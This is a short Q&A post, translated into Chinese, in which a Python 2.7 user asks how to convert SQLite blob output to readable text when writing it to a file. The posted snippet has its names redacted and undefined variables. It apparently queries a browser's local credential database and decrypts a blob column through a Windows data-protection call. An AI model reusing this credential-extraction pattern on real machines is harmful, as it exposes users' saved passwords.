Python 2.7.11 SQLite blob到文本?

时间:2016-03-24 10:33:10

标签: python

我正在使用python 2.7.11和slite3模块

当我尝试使用write将输出存储到sql的txt文件时,它显示的是blob而不是文本?

如何将blob转换为ascii?这只在使用f.write时发生,但如果我在空闲状态下运行,我可以看到ascii值。如何将blob转换为可读文本到我的文件输出?

conn1 = sqlite3.connect(getenv("APPDATA") + "\..\Local\SANITIZED")
cursor3 = conn3.cursor()
cursor1 = conn1.cursor()
cursor = conn.cursor()
cursor.execute('SELECT * FROM SANITIZED')
for result in cursor.fetchall():
    SANITIZED(result[2], None, None, None, 0)[1]
    if SANITIZED:   
        print('SANITIZED: ' + SANITIZED)

        f.write(str(result))

0 个答案:

没有答案